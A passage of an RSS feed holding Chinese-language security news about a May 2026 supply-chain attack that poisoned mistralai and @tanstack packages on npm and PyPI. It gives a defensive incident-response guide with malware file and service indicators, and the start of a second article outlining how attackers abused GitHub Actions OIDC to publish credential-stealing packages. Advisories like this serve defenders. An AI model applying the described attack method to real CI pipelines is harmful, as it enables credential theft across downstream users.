translate: initial !important; user-select: initial !important; vector-effect: initial !important; vertical-align: initial !important; view-timeline: initial !important; view-transition-name: initial !important; visibility: inherit !important; border-spacing: initial !important; -webkit-box-align: initial !important; -webkit-box-decoration-break: initial !important; -webkit-box-direction: initial !important; -webkit-box-flex: initial !important; -webkit-box-ordinal-group: initial !important; -webkit-box-orient: initial !important; -webkit-box-pack: initial !important; -webkit-box-reflect: initial !important; -webkit-line-break: initial !important; -webkit-line-clamp: initial !important; -webkit-mask-box-image: initial !important; -webkit-mask: initial !important; -webkit-mask-composite: initial !important; -webkit-print-color-adjust: initial !important; -webkit-rtl-ordering: initial !important; -webkit-ruby-position: initial !important; -webkit-tap-highlight-color: initial !important; -webkit-text-combine: initial !important; -webkit-text-decorations-in-effect: initial !important; -webkit-text-fill-color: unset !important; -webkit-text-security: initial !important; -webkit-text-stroke: initial !important; -webkit-user-drag: initial !important; -webkit-user-modify: initial !important; widows: initial !important; width: initial !important; will-change: initial !important; word-break: initial !important; word-spacing: initial !important; x: initial !important; y: initial !important; z-index: initial !important;&quot;&gt;&lt;svg viewbox=&quot;0 0 24 24&quot; width=&quot;24px&quot; height=&quot;24px&quot; style=&quot;animation: initial !important; background: initial !important; border: 0px !important; box-shadow: none !important; color: rgb(154, 160, 166) !important; cursor: inherit !important; direction: inherit !important; display: inline !important; fill: rgb(154, 160, 166) !important; filter: initial !important; float: none !important; margin: 0px !important; opacity: initial !important; outline: 0px !important; overflow: initial !important; padding: 0px !important; stroke: initial !important; transform: initial !important; vertical-align: initial !important; visibility: inherit !important;&quot;&gt;&lt;path d=&quot;M7.59009 18.59L9.00009 20L17.0001 12L9.00009 4L7.59009 5.41L14.1701 12&quot; style=&quot;animation: initial !important; background: initial !important; border: 0px !important; box-shadow: none !important; color: inherit !important; cursor: inherit !important; direction: inherit !important; display: inline !important; fill: currentcolor !important; filter: initial !important; float: none !important; margin: 0px !important; opacity: initial !important; outline: 0px !important; overflow: initial !important; padding: 0px !important; stroke: initial !important; transform: initial !important; vertical-align: initial !important; visibility: inherit !important;&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: inherit !important; direction: inherit !important; font-family: inherit !important; font-feature-settings: initial !important; font-kerning: initial !important; font-optical-sizing: initial !important; font-palette: initial !important; font-size: inherit !important; font-stretch: initial !important; font-style: initial !important; font-synthesis: initial !important; font-variant: initial !important; font-variation-settings: initial !important; font-weight: inherit !important; forced-color-adjust: initial !important; text-orientation: inherit !important; text-rendering: initial !important; -webkit-font-smoothing: initial !important; -webkit-locale: initial !important; -webkit-text-orientation: initial !important; -webkit-writing-mode: initial !important; writing-mode: inherit !important; zoom: initial !important; accent-color: initial !important; place-content: initial !important; place-items: initial !important; align-self: stretch !important; alignment-baseline: initial !important; animation-composition: initial !important; animation: initial !important; app-region: initial !important; appearance: initial !important; aspect-ratio: initial !important; backdrop-filter: initial !important; backface-visibility: initial !important; background: rgb(218, 220, 224) !important; background-blend-mode: initial !important; baseline-shift: initial !important; baseline-source: initial !important; block-size: initial !important; border-block: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; border-end-end-radius: initial !important; border-end-start-radius: initial !important; border-inline: initial !important; border-start-end-radius: initial !important; border-start-start-radius: initial !important; inset: initial !important; box-shadow: initial !important; box-sizing: initial !important; break-after: initial !important; break-before: initial !important; break-inside: initial !important; buffered-rendering: initial !important; caption-side: initial !important; caret-color: initial !important; clear: initial !important; clip: initial !important; clip-path: initial !important; clip-rule: initial !important; color-interpolation: initial !important; color-interpolation-filters: initial !important; color-rendering: initial !important; color-scheme: initial !important; columns: initial !important; column-fill: initial !important; gap: initial !important; column-rule: initial !important; column-span: initial !important; contain: initial !important; contain-intrinsic-block-size: initial !important; contain-intrinsic-size: initial !important; contain-intrinsic-inline-size: initial !important; container: initial !important; content: initial !important; content-visibility: initial !important; counter-increment: initial !important; counter-reset: initial !important; counter-set: initial !important; cursor: inherit !important; cx: initial !important; cy: initial !important; d: initial !important; display: initial !important; dominant-baseline: initial !important; empty-cells: initial !important; fill: initial !important; fill-opacity: initial !important; fill-rule: initial !important; filter: initial !important; flex: initial !important; flex-flow: initial !important; float: initial !important; flood-color: initial !important; flood-opacity: initial !important; grid: initial !important; grid-area: initial !important; height: initial !important; hyphenate-character: initial !important; hyphenate-limit-chars: initial !important; hyphens: initial !important; image-orientation: initial !important; image-rendering: initial !important; initial-letter: initial !important; inline-size: initial !important; inset-block: initial !important; inset-inline: initial !important; isolation: initial !important; justify-self: initial !important; letter-spacing: initial !important; lighting-color: initial !important; line-break: initial !important; line-height: initial !important; list-style: initial !important; margin-block: initial !important; margin: 0px !important; margin-inline: initial !important; marker: initial !important; mask: initial !important; mask-type: initial !important; math-depth: initial !important; math-shift: initial !important; math-style: initial !important; max-block-size: initial !important; max-height: initial !important; max-inline-size: initial !important; max-width: initial !important; min-block-size: initial !important; min-height: initial !important; min-inline-size: initial !important; min-width: initial !important; mix-blend-mode: initial !important; object-fit: initial !important; object-position: initial !important; object-view-box: initial !important; offset: initial !important; opacity: initial !important; order: initial !important; orphans: initial !important; outline: initial !important; outline-offset: initial !important; overflow-anchor: initial !important; overflow-clip-margin: initial !important; overflow-wrap: initial !important; overflow: initial !important; overlay: initial !important; overscroll-behavior-block: initial !important; overscroll-behavior-inline: initial !important; overscroll-behavior: initial !important; padding-block: initial !important; padding: 0px !important; padding-inline: initial !important; page: initial !important; page-orientation: initial !important; paint-order: initial !important; perspective: initial !important; perspective-origin: initial !important; pointer-events: initial !important; position: initial !important; quotes: initial !important; r: initial !important; resize: initial !important; rotate: initial !important; ruby-position: initial !important; rx: initial !important; ry: initial !important; scale: initial !important; scroll-behavior: initial !important; scroll-margin-block: initial !important; scroll-margin: initial !important; scroll-margin-inline: initial !important; scroll-padding-block: initial !important; scroll-padding: initial !important; scroll-padding-inline: initial !important; scroll-snap-align: initial !important; scroll-snap-stop: initial !important; scroll-snap-type: initial !important; scroll-timeline: initial !important; scrollbar-gutter: initial !important; shape-image-threshold: initial !important; shape-margin: initial !important; shape-outside: initial !important; shape-rendering: initial !important; size: initial !important; speak: initial !important; stop-color: initial !important; stop-opacity: initial !important; stroke: initial !important; stroke-dasharray: initial !important; stroke-dashoffset: initial !important; stroke-linecap: initial !important; stroke-linejoin: initial !important; stroke-miterlimit: initial !important; stroke-opacity: initial !important; stroke-width: initial !important; tab-size: initial !important; table-layout: initial !important; text-align: inherit !important; text-align-last: initial !important; text-anchor: initial !important; text-combine-upright: initial !important; text-decoration-line: initial !important; text-decoration-skip-ink: initial !important; text-emphasis: initial !important; text-emphasis-position: initial !important; text-indent: initial !important; text-overflow: initial !important; text-shadow: initial !important; text-size-adjust: initial !important; text-transform: initial !important; text-underline-offset: initial !important; text-underline-position: initial !important; white-space: initial !important; timeline-scope: initial !important; touch-action: initial !important; transform: initial !important; transform-box: initial !important; transform-origin: initial !important; transform-style: initial !important; transition: initial !important; translate: initial !important; user-select: initial !important; vector-effect: initial !important; vertical-align: initial !important; view-timeline: initial !important; view-transition-name: initial !important; visibility: inherit !important; border-spacing: initial !important; -webkit-box-align: initial !important; -webkit-box-decoration-break: initial !important; -webkit-box-direction: initial !important; -webkit-box-flex: initial !important; -webkit-box-ordinal-group: initial !important; -webkit-box-orient: initial !important; -webkit-box-pack: initial !important; -webkit-box-reflect: initial !important; -webkit-line-break: initial !important; -webkit-line-clamp: initial !important; -webkit-mask-box-image: initial !important; -webkit-mask: initial !important; -webkit-mask-composite: initial !important; -webkit-print-color-adjust: initial !important; -webkit-rtl-ordering: initial !important; -webkit-ruby-position: initial !important; -webkit-tap-highlight-color: initial !important; -webkit-text-combine: initial !important; -webkit-text-decorations-in-effect: initial !important; -webkit-text-fill-color: unset !important; -webkit-text-security: initial !important; -webkit-text-stroke: initial !important; -webkit-user-drag: initial !important; -webkit-user-modify: initial !important; widows: initial !important; width: initial !important; will-change: initial !important; word-break: initial !important; word-spacing: initial !important; x: initial !important; y: initial !important; z-index: initial !important;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/ins&gt;&lt;/div&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; font-size: 1rem; line-height: 2; overflow-wrap: break-word;&quot;&gt;现代开发环境已成为“金矿”：&lt;/p&gt;&lt;ol style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;高价值凭证集中&lt;/span&gt;：开发者工作站和 CI/CD 运行器通常存储着 GitHub Token、AWS/Azure/GCP 密钥、Docker 凭证等。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;信任传递&lt;/span&gt;：一旦攻陷一个热门包，恶意代码可迅速传播至数千个下游应用和企业生产系统。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;隐蔽性强&lt;/span&gt;：恶意代码往往在导入时静默执行，难以被常规静态扫描发现。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1.125rem;&quot;&gt;紧急响应指南：立即行动！&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; font-size: 1rem; line-height: 2; overflow-wrap: break-word;&quot;&gt;如果你或你的团队使用了任何&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;mistralai&lt;/code&gt;&amp;nbsp;或&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@tanstack/*&lt;/code&gt;&amp;nbsp;包，请立即执行以下操作：&lt;/p&gt;&lt;h4 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1rem; position: relative; padding-bottom: 0.5rem; border-bottom: 1px solid rgba(136, 136, 136, 0.2);&quot;&gt;1. 凭证轮换（最高优先级）&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; font-size: 1rem; line-height: 2; overflow-wrap: break-word;&quot;&gt;在任何安装了受影响版本的系统上，&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;立即轮换&lt;/span&gt;以下秘密：&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;GitHub Personal Access Tokens (PATs)&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;npm Publish Tokens&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;Cloud API Keys&lt;/span&gt;&amp;nbsp;(AWS, Azure, GCP, etc.)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;SSH Keys&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;CI/CD Secrets&lt;/span&gt;&amp;nbsp;(GitHub Actions, GitLab CI, Jenkins, etc.)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1rem; position: relative; padding-bottom: 0.5rem; border-bottom: 1px solid rgba(136, 136, 136, 0.2);&quot;&gt;2. 指标检测 (IOCs)&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; font-size: 1rem; line-height: 2; overflow-wrap: break-word;&quot;&gt;检查你的 Linux 主机是否存在以下迹象：&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;文件存在&lt;/span&gt;：&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;/tmp/transformers.pyz&lt;/code&gt;,&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;/tmp/pgmonitor.py&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;服务异常&lt;/span&gt;：&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;pgsql-monitor.service&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;网络连接&lt;/span&gt;：阻止出站连接到已知的恶意 IP 地址（参考微软/Aikido 最新 IOC 列表）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;进程监控&lt;/span&gt;：查找异常的 Python 或 Node.js 子进程，特别是那些尝试连接外部非标准端口的进程。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1rem; position: relative; padding-bottom: 0.5rem; border-bottom: 1px solid rgba(136, 136, 136, 0.2);&quot;&gt;3. 系统清理与隔离&lt;/h4&gt;&lt;ul style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;隔离主机&lt;/span&gt;：将疑似感染的 Linux 服务器或开发机从网络中断开。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;全面扫描&lt;/span&gt;：使用专业的 EDR 或恶意软件扫描工具进行深度检查。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;重建环境&lt;/span&gt;：对于 CI/CD 运行器，建议直接销毁并重新创建，以确保彻底清除潜在后门。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1rem; position: relative; padding-bottom: 0.5rem; border-bottom: 1px solid rgba(136, 136, 136, 0.2);&quot;&gt;4. 依赖审计&lt;/h4&gt;&lt;ul style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;锁定版本&lt;/span&gt;：检查&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;package-lock.json&lt;/code&gt;&amp;nbsp;或&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;requirements.txt&lt;/code&gt;，确保未使用受感染版本。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;更新包&lt;/span&gt;：尽快升级到官方发布的安全版本（Mistral 和 TanStack 已发布修复版）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;启用完整性校验&lt;/span&gt;：在 CI 中强制校验包的哈希值（integrity hash）。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1.125rem;&quot;&gt;长期防御策略&lt;/h3&gt;&lt;ol style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;最小权限原则&lt;/span&gt;：限制 CI/CD Token 和云密钥的权限范围，仅授予必要的最小权限。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;依赖审查&lt;/span&gt;：定期审计第三方依赖，使用软件组成分析 (SCA) 工具监控漏洞与恶意包。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;网络隔离&lt;/span&gt;：限制开发环境和 CI 运行器的出站连接，仅允许访问必要的包 registry 和云服务端点。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;多因素认证 (MFA)&lt;/span&gt;：为所有关键账户（GitHub, Cloud Providers, npm）启用 MFA，防止凭证泄露后的横向移动。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class=&quot;post-tags my-3&quot; style=&quot;box-sizing: border-box; color: rgb(72, 75, 79); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); margin-top: 1rem !important; margin-bottom: 1rem !important;&quot;&gt;&lt;span class=&quot;iconfont icon-tags mr-2&quot; style=&quot;box-sizing: border-box; font-size: inherit; -webkit-font-smoothing: antialiased; display: inline-block; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-variant-position: normal; text-rendering: auto; line-height: 1; margin-right: 0.5rem !important; font-family: iconfont !important;&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://sd114.wiki/wiki/morning-paper&quot; class=&quot;vc-l-cyan btn btn-sm text-height-xs m-1 rounded-pill text-xs&quot; rel=&quot;tag&quot; title=&quot;查看更多&quot; style=&quot;box-sizing: border-box; color: var(--this-color); background: var(--this-bg); display: inline-block; text-align: center; vertical-align: middle; user-select: none; border: 1px solid var(--this-border); padding: 0.25rem 0.5rem; border-radius: 6px; transition: all 0.3s ease 0s; box-shadow: var(--this-shadow); --this-color: #08c4c1; --this-bg: rgba(8,196,193,0.1); --this-border: transparent; --this-shadow: none; --this-hover-color: #ffffff; --this-hover-bg: #08c4c1; --this-shadow-bg: rgba(22,183,180,0.7); cursor: pointer; font-size: 0.75rem !important; line-height: 1 !important; margin: 0.25rem !important;&quot;&gt;&lt;span class=&quot;iconfont icon-folder mr-1&quot; style=&quot;box-sizing: border-box; font-size: inherit; -webkit-font-smoothing: antialiased; display: inline-block; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-variant-position: normal; text-rendering: auto; line-height: 1; margin-right: 0.25rem !important; font-family: iconfont !important;&quot;&gt;&lt;/span&gt;早报&lt;/a&gt;&lt;a href=&quot;https://sd114.wiki/tag/mistral-ai&quot; class=&quot;vc-l-red btn btn-sm text-height-xs m-1 rounded-pill text-xs&quot; rel=&quot;tag&quot; title=&quot;查看更多&quot; style=&quot;box-sizing: border-box; color: var(--this-color); background: var(--this-bg); display: inline-block; text-align: center; vertical-align: middle; user-select: none; border: 1px solid var(--this-border); padding: 0.25rem 0.5rem; border-radius: 6px; transition: all 0.3s ease 0s; box-shadow: var(--this-shadow); --this-color: #f1404b; --this-bg: rgba(255,84,115,0.1); --this-border: transparent; --this-shadow: none; --this-hover-color: #ffffff; --this-hover-bg: #f1404b; --this-shadow-bg: rgba(207,56,84,0.7); cursor: pointer; font-size: 0.75rem !important; line-height: 1 !important; margin: 0.25rem !important;&quot;&gt;# Mistral AI&lt;/a&gt;&lt;a href=&quot;https://sd114.wiki/tag/tanstack&quot; class=&quot;vc-l-yellow btn btn-sm text-height-xs m-1 rounded-pill text-xs&quot; rel=&quot;tag&quot; title=&quot;查看更多&quot; style=&quot;box-sizing: border-box; color: var(--this-color); background: var(--this-bg); display: inline-block; text-align: center; vertical-align: middle; user-select: none; border: 1px solid var(--this-border); padding: 0.25rem 0.5rem; border-radius: 6px; transition: all 0.3s ease 0s; box-shadow: var(--this-shadow); --this-color: #ff6f06; --this-bg: rgba(255,110,6,0.1); --this-border: transparent; --this-shadow: none; --this-hover-color: #ffffff; --this-hover-bg: #ff6f06; --this-shadow-bg: rgba(211,103,27,0.7); cursor: pointer; font-size: 0.75rem !important; line-height: 1 !important; margin: 0.25rem !important;&quot;&gt;# TanStack&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;text-xs text-muted&quot; style=&quot;box-sizing: border-box; color: var(--muted-color); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap: wrap; background-color: rgb(255, 255, 255); font-size: 0.75rem !important;&quot;&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 15 May 2026 00:55:19 +0800</pubDate></item><item><title>2026年最大跨生态供应链攻击：TanStack/Mistral AI 62个包被投毒的技术复盘与防御指南</title><link>https://www.kinber.cn/post/6549.html</link><description>&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;一、事件概述：一场席卷全球开发者的供应链大地震&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;2026年5月11日，软件供应链安全领域迎来了迄今为止最具破坏性的攻击事件。黑客组织&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;TeamPCP（又名Shai-Hulud）&lt;/span&gt;&amp;nbsp;同时攻陷了npm和PyPI两大主流包管理平台，通过劫持知名开源项目的CI/CD流水线，成功向&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;62个官方维护的包、404个恶意版本&lt;/span&gt;中植入了窃取凭证的恶意代码。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;此次攻击的影响范围堪称空前：仅&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;@tanstack/react-router&lt;/code&gt;一个包的周下载量就超过1200万次，加上Mistral AI官方SDK、UiPath企业RPA工具包、OpenSearch客户端等核心组件，全球受影响的项目数量保守估计超过百万个，覆盖了从个人开发者到世界500强企业的整个技术生态。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;与以往简单的包名混淆攻击不同，本次攻击利用了GitHub Actions OIDC（OpenID Connect）信任链的系统性漏洞，&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;以完全合法的身份发布了带有SLSA 3级安全签名的恶意包&lt;/span&gt;，成功绕过了绝大多数现有的供应链安全检测工具。这标志着软件供应链攻击已经从&amp;quot;投机取巧&amp;quot;阶段进入了&amp;quot;系统性突破&amp;quot;的新时代。&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_10&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;二、事件完整时间线&lt;/h3&gt;&lt;div class=&quot;mermaid-error&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 10px 0px; padding: 10px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; border: 1px solid 